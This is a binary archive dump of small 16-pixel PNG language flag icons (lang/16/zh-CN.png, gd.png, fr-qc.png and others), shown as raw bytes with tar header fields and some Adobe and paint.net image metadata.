IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nQE��vmb��E
.RB���J��A� (�"StnSD�RD���#��`�N�(�c������]� a�6S͝{g�(�>P@�˺,05�jgg ֢��8?2@�������9$�QƠ<�/���v:5h�2�Ʉ�p�����l�}�n�hP�7EH�h��=���M}w���|6C]_㮮����`�<\�`�$����=FLQ��V���;;c����,Iq�azt���A���xI���W�3��I��� �zA��1��(Eus�I���ߴ@�ѻ�y�8Gbm���0|^�~CPD�^���!M������
<�ch-���}� MAƭw�><}B���./Q�����秅�Z�ZE�!���y|����<'--��E8��i��j�+�
X�@��/|z�\dP�e0���;�Z�u��!EIEND�B`�lang/16/zh-CN.png000064400000000725151721413470007351 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F[IDATxڤ��JA���ۋ	&��)�����#ZX�>�
��M,�h����;E!�,��7;?f���)���{9�M�����d@����M��wv���u����b7�3�\��a0�ػ���%���X�@.�GoM�M�'�XUO�t�E���x�k�`-�vN�,�q����=�+
�k*ω��|0��)�r�*4�
=���$|�A��LYҹ$�f|���&�����&�@Y���TE��-HK)xJ��5UHJ-�����L�[p��Zj�D�Z&Zk��C�r3�R�S\���/���	����X�vu�{E�������w�]�IEND�B`�lang/16/gd.png000064400000001354151721413470007023 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FrIDATxڤ�MHTFϛy�8NI�h�)�iSF�Ҭ̅$a+�M�&�A��JQ��ڄ�@BlQV���RDLK���Ѵ����{�Ȭ�ⷹ��ͽG��+s-рe����NS���P�,�m�t͠� �sGs���(����]C3_�])t���o]u��&V�ܛ9��w�g�;Ey)[-��ʽ��y�H�d�V|�c/c/K~�ʢ���'�S\n���a��9N����瑟�T>
�1L�Z��T��_�F&�*@X��i�<�0��Rsb�YNn�ك�(+�^j�2>�Hr�-���!>�(,#�O.2�e�d$:���hx�����6�#&���!"��id���\���D�D�M��h�����M�}]��B�}a�N����bW2����uQV������It��;
�r�`(�z�l[I�\oM7DD���Yɭj[y���[$�l����0�����Jȶκ���8]�բp��'��z��g�&&FeaY���$�QlK�ؕL��H���;
����?4=�a��(����a��I�-Tێ=F��vg(@<�lX�>`Z�+"Y�0MY�ο]0Ƶ�pIEND�B`�lang/16/mi.png000064400000001157151721413470007037 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��kTQ�s�{/���I�
��+���J! X��]D� (A�V�KAP���i��P�"���"���o�ew�Y6
���s83s���M�ݺ�0��\������m�������q�l2~� 7��&�P����O싀�W2���"�
��Ϝ=Z��c,�
##ٟ�����O����䯿��Y}�R�F�Pd����k'�<xӤ\.��8L�=������$�ϱcc͋�u��A��k�����`t��������!���*kp�������>���ĩA�,�{_84<<�j�&M[=��n�|�Y��0P.�第L���&�*�ǘ�q)��G�$� �����mo��!��q!�@��<N"tpX�q��u��i<(A� �T!VEܻ4�(�m����1��>O��Jor6%I4�y�1=�#Mk�ծ
�в-g�*�g�^���]#�8��n�k����msIEND�B`�lang/16/es-mx.png000064400000001016151721413470007455 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA��31��p�4.�D�UB�Ф�3�L��
����P"	Q�X$)�s��{�
��3$+��f��o�	D��Xԁ{��4f�a��v^��3���r�?y��B���h:q,�-��]������#@3T���8��?�����<P!��-���\M9kqzH=n㓤$N)F�h�9�)��=�4��no�����W��e�,`�.~j��ILV�|��;<��罷,�Z�U�
�Q����Ig�1��"���:�/c2���W��
Q3�WD����Vc����9��+��0c�VkB�KP!0n�Y�V$WFEm+$Zk�A���r�d����xL�z��N�z�	�?��Q��:��)w!���^$5%�lp�u�5:��C�>� IEND�B`�lang/16/ny.png000064400000000745151721413470007062 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FkIDATxڤ��jAE��̮eٲ�%n1I��Թ��\�+�W��),pcHa�*�&k��y�3/EdI��d_x�b��}�r�����{���t:���‏.��,�4q��3�����1F&��Jҙ+�7��1dI9G��	PU��9�����4
UU�Z�f93��#�D���6��e��Xཧ�k��|0��`�!7��w(��Y��_�˥;d؁�}��G��R�l����p����Z���IM���zt�wv��k[F�i;�肬	�|�D^�h{����#T��@:�j�,c|iT�m��E��Cy	��ј�s��5U��`�����HvG��yk��
�[����B�IEND�B`�lang/16/sw.png000064400000001217151721413470007060 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�OHTQ���{��fd*�PIB)���0�F�hAVn\�BS��#[F�g״�0��L��(��L]YB:3�q�}o޻-�0�P����Ź�;�s8G(�؊`������O�^_��/�;-U:Cs��'�����D�]ϣyO����h�JRkfݏ�&�D��u@s���e�2Ɏ'��`j��'
��cM
��].!�
M�9��̐�,W�*l�]3Ǜ�˼�]��BGg%#�v`����$%3d\�#�R�,��Q�drF�}��46}p��y����$s�~J���"���tH�V���v�����d;�����	�E@rMR�7��|>��;
'��`�j9�㝼��풜P��UT�R6,Z 6V�ltt`��	>}�	A�j.��JY�a�����B����>(�n�g�fZCe�y
i������0*+��&���Ht#���m���^W�Ic=\8���ώ2�6��������@�&o����7c����b��k���?I��IEND�B`�lang/16/mg.png000064400000000574151721413470007037 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�1N1E�e�� @�&7@��KP�i8
��:H�D��=� ������|=�g�(a)�V�6��"�Y}����0���`�+V�g����F�9cxzY����	Ҷ��Ѻ�I�EypZ��x����R�ے�����.�&���}�;���%�Z�3%IE@H��APX����5��ԟ�����*!8�>�@�4�|���8+`L��-o�xQ�$V�D(^�z��
�l�a;�.IEND�B`�lang/16/fr-qc.png000064400000002752151721413470007444 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:095AF03A71C011E2BF1285FF739A74D1" xmpMM:InstanceID="xmp.iid:095AF03971C011E2BF1285FF739A74D1" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�����IDATxڤS;KA�.��IT01>H �(�"���;Q;�,��^+��`)���NZ	�ZHPC���� w�ǹ����c�ٝﻝ�YA�44cs;sO
͘�<O���oq�,�أ���9��8�r��j`Q��=��2t����1	� ��K~52�12D�ׂ�W<>�А�D�XA6_D�!	|$s=α�n?x.q�KP�"�����/�
 e�����gx.qxY�*�*Rig��ht&RV�x�sloup�n}�$if�8ĵ��,˦�_���g �}p9m��MW'�u��}�����7_�"+�T4l�cm���z����q�mO�\��W��
��T�]nx���*�����/�r�V
��D�:Η8�-�4�-�"�6�̽&������EM
��z���/���۱��]�IEND�B`�lang/16/so.png000064400000001002151721413470007040 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��NTA���Y�]��`�fLl�†����|
j���G��2��@j��ؠ��{gfg�X��	�.�9�9��˜r�`x\�Y���lm9��͍�'hŤ�xھӐ�MiP�g�2@b�p�A9��
�,�r��&Xڏ��r�(l�R��������}&�V��9�u�@�!*��/��3z�-z����q1R����
�(�o��&x��%������rD���������ɭ'H(�~_��	�RUT!&�Z;A�,�f"՞RU�.
��������bJXg�r�E�r�ԟ����P�0#�{T���YM�f�	�V�[�R���p3z:@h�'�"�3D��}��VϷ8rU�IEND�B`�lang/16/en-ca.png000064400000001072151721413470007411 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA���_��XE
�p%&���@E<	��FD����!�P� ]��ǎP(��]���3�s)�����r���3�9W��)D�bu�S�̓�[�x
�՝�'�z�L�?~X���ڍ�z6n_��_�c(G#�`�)��t��[����>��s�1~`uA���4������mV޼FE��4E�>�(t���t�=�����u��T����'To�qI:˦y�}���!�ۥ��9r�<<�Ç����Yz����k�%|�1��8Ǚ;�Yy��u�$�	��X~������+c�gyQ�ϣv}�/��?�����e�֥��RX33��HN�Xܺ��~!\o�DO!ΑzF�6P����8�G8�0Sm���0 ��;1H߫�q��V�Ɯ�0z
�E��$(�N���f‹Ԯ~�IEND�B`�lang/16/gu.png000064400000000657151721413470007051 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�lang/16/zu.png000064400000001130151721413470007057 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=hSQ��s�Isc�`�M�FD	-�����䨂��T�Bu����Ppm;� H�J����n
:u�j#ި`cn��qH�bc �]��=���W(�؍0D;o?r�_��9YA�#��
e��"@��$�{�4-��S>���X
83;��5
��dz�h�}0(=��&������
��!���<^Cඇ���J���0<9�/]��哪Rx8-rG�e%�Z�bQ�b���M�,��i.�o`�u�����nWJ�T�WX��d2���T�Un΅(G$K��ËG���d3+l���q]g��X,4z�����#�H�+3��B1� `lb���s]ᰤV��}.���|14W@(���)�'/q��{�5)�@�im;�kE��P��	�%/ro���L]]ح���W�^�ܟg�v�;K�x~��5l��w@b}v���w���	�G����#�S�IEND�B`�lang/16/id.png000064400000000515151721413470007023 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�̓=�0���CA���wa�,ܤ�,D�I�`~T6o�,�=?˶~���S��&���M�|�� �.ZV���2hi���'�^-�A;г)�4�D﹞+�U�����`�s�O�.�݊R�y�Yp���ZI��V���K���'�d�'��m[ʲ���&@��5pP�~<�N�@P���mǹ���!�QIEND�B`�lang/16/de.png000064400000000607151721413470007021 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F
IDATxڤ�MN�0��q�
)�UbS�  ��S�e�v�ADQ�?�mM(ݹ�l,[~o>�o$��9%���c��9P�u�qJ��z}������ҐE�1��l�Ȝs�}O�4�������r�s ����mK۶IJ)���ZQ|jB����"r����G+�&�5�WBק�W�Y�'0ư�CH2�À����Ѱ��AH��o[��#p�1W)a���� �a��fg�xz�N	��V��H��.@6Rv����;ο��v�3��IEND�B`�lang/16/no.png000064400000000745151721413470007050 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FkIDATxڤ�A/Q��13�ҦaA� �!B;;K	����o����ʎ
{�`a-*�Du:2��t�Z��FKҸ�w߻'瞜w�!"�' �[g/��w(�7�_�W��OY�;��xws�W��$��..���3#d�纈��5����ľOTyK`w�U��=F��B���JaV=⪗��jub�֩����R�u:�[G�WA ��0�~H(<_����W,d�
�V�nG����
\�m+�]YE�6q����=q����d�9�&bԵBL+�v������Vm�5ҟ����2���tH��:!Б7^5�:~���8���wg(@��]�'0[�d�H��:����C.�IEND�B`�lang/16/ja.png000064400000000727151721413470007026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F]IDATxڤ�?KA�{w9c���"
b#�_@,[�����X�X�je@�D�H8�_�hec�Nrw��Z�\b"H�i����7�Zk��l`�~v��, ��~멻c��c����ZJ*�WTn���yW�vǔ� ��4�>�G|��@�&�ddo7�H)0�0�
����	���{eQ�r��w�� ��O�DP|�h�F�R->107KC��c�°ѵjK<
0��'"^Cc��3�on!��R.JyH�Z� ���a���у}bS�xg ɵ�;ۿ8����8�[8������Z�B���"�H ե�^E=j����E��{G	�>�GIEND�B`�lang/16/st.png000064400000002617151721413470007062 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:F1615503909A11E0A2F689C54BBF1874" xmpMM:InstanceID="xmp.iid:F1615502909A11E0A2F689C54BBF1874" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:74BB28C38B90E0118CC8CC8C2C94B540" stRef:documentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��"�NIDATxڤS�JA��=7'Q,����������X� �		�V4*Z,����4�*(��[ow�Y�"!𒁷���{�f�c�Z�&B �o�P�~�Kes��}���G[K$P�����g=S��-�E�6��M��Ƒ�@�t�|�Z���Z����;{ܼ��C\'���ڕ�Wx��/�q�@�$ޢ���� ���'�+�l����g8��u�q�qA��{e>V���lt��*HM}��㒀0t�`�#�0��>�d��{��*T�Ap��GW��Ǡϙ�A�d��e��^g�aT䩂XA�$�/,�&�OU���������ʷ�}IEND�B`�lang/16/ru.png000064400000000536151721413470007060 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�9NAE_��e@���q
R��-81W�
�DY����0�Hll!�Y*���~��1%���}
|@cf�Q�EVPO��΀| �b���Mps��겡�R�φ���E]�yo���w������7˒��	�s0��R?O�o#����=�eI�v��r�k�N=� �`�p�xUl������W�h4�������-�&{'V#���3�wX�o]��IEND�B`�lang/16/lb.png000064400000000557151721413470007032 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��JC1��I-R��A
;����)\|_A�
�CK�4L����
�M�[�|_��Q"�)(�����a���~y�듧�k$%�7�����_^�#�4����}t}5Bb� yO����Bk�w?穵VJ��
0����
l5�s�ؠ��ۇg��1ۘ:��{�^�8��m��d��1���UG�oMkr�d��v�0�	pY(n���n�t�A�:u��ˬ�1jM�rIEND�B`�lang/16/kn.png000064400000000657151721413470007046 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�lang/16/am.png000064400000001066151721413470007026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA���ٵ�J�C(�� Aa��*UDAG�J�t<�
�A�DA�YF
NB��e;����\�5v�h��f����3�\%"\�W&�<偑���>�����U,R�~m�?�M��e��j,X�2��ft���b5
H�	3��j���hIH�>�1B���}[�(�v�Ovs��@��d!���|�s�A���Wx���V��D���/6>мwyj�$�I�/�t�Ld���v�h�h,wH�p���,4�	��ӑ@��H�U�v"h�?d(�^Ra���5����t5�3�Yhm�(�,)=6�wvx��b�i����.-�\�:Ǐ���~N�b$�$�<n�xh�9S�z�H|�d��0N�}bnR�����QeXb��ȡ���>�|�k��"a�
Xn�9���d�̜����g��T}
��IEND�B`�lang/16/bs.png000064400000001163151721413470007033 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�?hSA�?������E�Quq�@NJ����h��
�$n��RT��l���I�Ʀ�Rҗ>��w�w��	H��|�-w�p���2���ͽ����8�u����π���^�i��
o�p��7��8���-r�ZS�=<{��s�M�e�/�A)
���Xm����%�N�����	X��.�*��oV@�H�b�/%�\��N��%L��^�u�v"TD %������0�ē��Q���r/#ww�v"Dt#B��]�S,�P\tx��+�_L14pG�s&��#�,&�Äe<�o	|�g=�hm�BP]p{8I����IN_̀������)P&B����X����$��38�T������!D�m6��*�Mҙ�XpO18�=�1A�@�!�l;�m[��a��e�L�q�J��,gG���i��mT7�u?V5�o���I�|���_���� ��.�@M�f�b�(@�����D.9"QIEND�B`�lang/16/haw.png000064400000000766151721413470007216 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYsbb����tEXtSoftwarepaint.net 4.0.12Ck�fIDAT8O�ҹK�q��/�/��F�Dt��mQ�`KECfJ��*�`$V�PaY��A��}g��4G��~����G���yó=����z��u�'��N��DhH��fOu6�μ7��ܩ;dBxӦ��.4&/|lR3k���BP뜨��*��A���غ/#'f�,A^gFD��8wqV#�>b��
�#ϝE�ګM1&ES;3�1���D:�V��P�#��rU�)�;GaF$�۫�'��n[B�'���,�X�('��^}Q�~k�P)��EU�݇(%��G��jS=�\dU�n�}P�0���fu�q��4���r)F�Hb����D�h�������@��`���1JrIEND�B`�lang/16/fa.png000064400000000727151721413470007022 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F]IDATxڤ�OkQ��댙�i�
Zĝu#]��.w�����R��U�PuUU0jL23��s�b!�n��ι��{N�1:O���8׉�Sl=yq��?|p5E��Wn_���Q�� ���}�^���+�r�{>j���Bh�_n��uI���7�YOY�V�=���Q1�h����_���t�Շ?�޾#ra��p�b#?�NA
EQ4擉����PU3݇EQ�
����vu��T��j0����+g��/_��ަ����w���u�&���	N�>���E[+՗eN&��SZ��&���cdy}qIu�XbY��\�ʀ-\GM%��% Y)Y��F�k�?�h�WU���IEND�B`�lang/16/hy.png000064400000000636151721413470007053 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F$IDATxڤ��NA���.�	`A��`��O`ac�Z�X��jlmH���L�v�ݱ�SCq��l3��73;���G�����G��@zs;;����~d���@r~�YP��е�Ѣ@Ӕ0_lGk�њ��-
c�s�劸Z5�0��r,�Ur�(XJN})"�kI�p�,��J�,�y��Y��A����!��5�ug�[��Y�k-<^�q:lC�!U���i����s�C���-�����ɜ�x�R.��b�S�u��L�|F/@�=�S`*����i/�=����ymh:�oIEND�B`�lang/16/vi.png000064400000001010151721413470007034 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�Mj1���z~�c{�@��w>���� >H69A�9�Ydi�
�C��ό#�[Re��̀!0�۔ҫ�WO��<���U��,����������u�H�������s�Y@�p{0+�}O^,HU���Ƨi��"ņ��}`��i�Mb ����ྔ�yP��1�(z�U�iA��ێ�7{��U^��ׂŧ1�AE��9���ܶ�����+(�sI�~�v�S��x�80r 7Bz���Q�m&=(�P!�ƈ�
A���<���F�r�0{�c_&4FJ�W
B@�b���)��@�q�L�}U�o����?C������5A�eɷ�v�aY��c'�8vL��)�`��.H@'�����rc�IEND�B`�lang/16/uk.png000064400000000617151721413470007051 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�AN�0E_�4�H��q$��+�a��&N��H�)�vƒ�,l��o[�������K���&�w7WG(|\�L�QV#<�M

䮉,�c�m��N�]���&�@D�-�y-�XdJ!�b5@m�ϥPGw(+��i_[�ew6{�x9(=�j��J����\SC	��0ƭ[0�B�;bO�^����H�nR���%W!��X����k�S�O�&�(�$�1�?2y�+ o)Y�Dm{�?�ttf�tIEND�B`�lang/16/ku.png000064400000000726151721413470007052 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYs``�lrYtEXtSoftwarepaint.net 4.0.12Ck�FIDAT8O�R;/aݿ�J"J�O@E�T��
�^E�*5���H�G<6�Ȯ�܇
��{�o���g��fOrf&7���M@[t[�y�!���J��۠��@9�'���(ӬB�
��2����\�Cng��E֟5Q���͓�y��$�����(�I�
E�D<A~r9Iv��#�N�n����60�O�<}�nn�I2��I��6`|x됳��A����a�=NP\#��?,@���TӼ�9�"�9B6*���K��	��\O�u�NA��A��K��P<��}^�\WM��h|�៻���Eg�:��'?�}gAd�gIEND�B`�lang/16/su.png000064400000000762151721413470007062 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FxIDATxڤ��J$A������?0P�`"31�'0�0�V

�705�@D040��IuAQ����LWm��3-6�Tt>�)�Q�9�#�|�M#T|�gm}�y�����0��=��Q����	f��Q����C�.��q����2�gi�Ho��	
l��%o���xiB�J���Q^l��h���ȇ�Zc3>��U*�L
��t��_:�DQ]]d"q��M��m��m����"��s"@DZDZ��v`�nbof��`0��n�i�A�Zi넉��Ds�q���ˣP��OЇW(��ڏ�1t��;��w�r���c�;�ȟ�/ѧ�V�(��S����f����0�u�7�ݸpԯ�IEND�B`�lang/16/iw.png000064400000000724151721413470007050 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FZIDATxڤ��NA���<��\�
j����h�o����/�3�>�	���P�P�`c�CD/��X�8�����̟��Y��f ,��4���d��o3ub�RGw�nY�e��T����]����8m/R;�m������Rz�զ.V�sJ)
�)%�i�4���GT�C�}����Y+��R��ӳ��W���m��s�~t"�Q���v#�Z���y ��Z����Ұf���m;��׏�R]J����m�3�;�ƴ��`�s�c��B�y	%��Ǣ�$���G����7�x�\.?ϲ��|~C ��䷁��oSb�US ���;���ں����IEND�B`�lang/16/sr.png000064400000001036151721413470007052 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��kA��3��d� �B��,"x� UT�z*=y�ҿ��^�?�x�M�Es�f1�%��&�~Lwv<d�
�bfx^~��
k-������D8V����F7��pƺ-��۽�f�1�ܻ�����@��k	[f �>%�0�z�T�ޖ`�����4"y�h@*�$�Q=��1�5�AX�>Tȣ���$�P�76)�l�=�h�R�Wx�^1�H_�jѥ[����0��kW�gk�F8�����T���\�� '������3�ol�4�$��4��$XL�?��[�v��R���#�'���+��]c�ӡZ�֜!At���S�-�p�Xީ���3�������[/���(IA'IB���U���0�y���INX�Z\v���u��c	��IEND�B`�lang/16/pl.png000064400000000474151721413470007046 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�;�0g��@@�h8�?5%
����K"��l�j�ϫg13��5���SF�w	���>�v��6^�q@�@P8��d��8U�,�1%��t�"�m�`�4�e��]�1e	,�a��w=RUX���!��NJD�$�W?J����PWyK��5�qy>��@�G`7~7�6�����,�Ο��T�a�9IEND�B`�lang/16/ml.png000064400000000657151721413470007046 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�lang/16/ga.png000064400000000660151721413470007017 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F6IDATxڤ��J�@��MҠ��C����U�	�m�x�=/>�>A�@�^lj�i�?��zhI�J��a�o���{�@o��#�E@��������a�<�l�/gе�r5�ؙ�3�\�,�{�����%�j�d��l�^����#m�E�T�Zn1�u.�0�@jI:��Ԍ��4x
-k�xMGd��;~[Î����(%�'�w�]t5_Y���4�Q�P�����@+��!D��B��Ե&��{G�����F5ژ
`�u��F@�$
{�o]g�s�t�[ȁ���!�{,`ġ�7R��,քIEND�B`�lang/16/cs.png000064400000000754151721413470007041 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FrIDATxڤ��J\A���sw%�j@�*+R�Xi|��
�6!m
������]��ŮJ�1)�EDV$FCP\���ܝ9)v��e/��4�|�s���)��;o9���~eOM+yTb�T�>D+���&���LQ��4�'W��P���-
��u��ɸL,�k�XX���Os`�����E�p���h���y��Η��t��
0�x��(
�7�y�t�GOs4:J�=|��HDb��c�������q��1�;��)�a��TB�r��T�o����'R��wҔ�b�IƧd��!���/"��7�̤u>�*e��.������l�����J��(���x���B�V��I�x�����q��P�"IEND�B`�lang/16/mk.png000064400000001262151721413470007036 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F8IDATxڤ�;kQ��{���Y�1I��D�S�6�?��6�� F�
BD�4��P�)L��lR�����„Ͳ����ܹ3��`��iN����	��h�|�G��
[O�wR��F.�>H ���h����K����zM���D(ϥ��c��p�"p�s>�Ō�%z�����mH�Ęo-*7S�iI��P�R��+5ai=Ҹt|�)��m�F{d�����j�#�u�@M
�#�֒&���"m'(�`�����Oր޲�r�P�nɭ#z��ȑj�៶0���x�C6ɣ�#ny��92̐ԄO��3�x��V�v=xx��Ȱ]E�Kc�lWP�O�g-.��`���V���O+��=�P�� �<���nB�٣q��8�2��y��{xUA�=�HT�s�Q[�'�I�|��uƲ���{���=�pΑ��0�
�S��R���j	Y��zJ!�����v��`�0l�L�a��.?W|:/5��cq���~�(8�'��i(/v|
���	�rD"����#2��������X�&rIEND�B`�lang/16/pt-br.png000064400000001257151721413470007457 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ�KHTa�����s�q�F�il*$E�I���ܶiSd�ﲪ,�ePF;w����hW�����&�%�Ʋ��͹�˜���F�6��xx�x_!�d'#�Z�~}og,�������V%`:
 �(B�K����:�í�-$�#�(B�&�D��*���T!
���v֬2��"���X�̾<M�	��g��&��Nsh���vU0m�B�B�*�ے�tt���=���UIwW����j�$݌#UL�@(&�p��tE�H�b��X�J���O�;��1�w}�a� �[-�E�S4��U�?*2:��ti�z���G)Lu%Cg��9�-�I
�dA�r"��|#�udp�J�*_f~1�|���h�2s�1�YmӁi��5���j�+Wνez&��d�
'�~�d�S�&ڹ7݊��Zcu`^�K�*�lgd>č�1n]H��-��b$2!|5U|�M�0�8�,t$���k��r���F.u��qy0�B�V	�9���Ĵ6�hI�e%��#e`pF@Ws!1�g�(��fր��"��8�%vZ������>)�IEND�B`�lang/16/tl.png000064400000001004151721413470007040 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�?K[a��}�\H�` ���F�(tm?��:
.�B!_��~�m)�Zh6�b��8����A�͟{��{n�!�b�Y�t~�9JDx���ќE�`N��r�G��{h�=ءݮ�
��
k�P*���������9@�P�|Q�X,��W2����+�r8�h�Zu��gK�Z��V?�����a����	Y�2�
++ev����Q�2	E�D�a��.@#�1�ߧ}��nQ��bql��P����3ʵ����N$z9=�o�o�H���eS��r�'
R ��}���t9�I�6-I��$����\כ�^!��%	��l��k�J�����묀9`(���J��?��(�z�;�wȔQ��IEND�B`�lang/16/co.png000064400000001067151721413470007033 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYscc*�S4tEXtTitleFrance - Corsica+U�PtEXtAuthorPatricia Fidi3M�9tEXtSoftwarepaint.net 4.0.12Ck�eIDAT8O��1˂@�+�Ih���BcK�n�
ECsCߠ5�LG�/�Ec[
IJSA

!�O�Wo��F?xD���O�K�*��'!.���ib�X�v��i���l"�J��4�|���q���̚�m۴$I�S@�N���*��)f�ks��^�q80�L�h4��d���n�t:ѵ1A�^G�XD�RA��G��p8D�\�`0�~�g͈7��y�l�~1�L�T*�P(�Z�²,�G֎x\.�r�繉��{���j��v�e��Z��S�r�0��:kF���,ӫ{�j5,�Kz����H7+����h��n�
���^��#���V~!���~��A�iy�5��IEND�B`�lang/16/te.png000064400000000657151721413470007046 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�lang/16/si.png000064400000001112151721413470007034 0ustar00�PNG


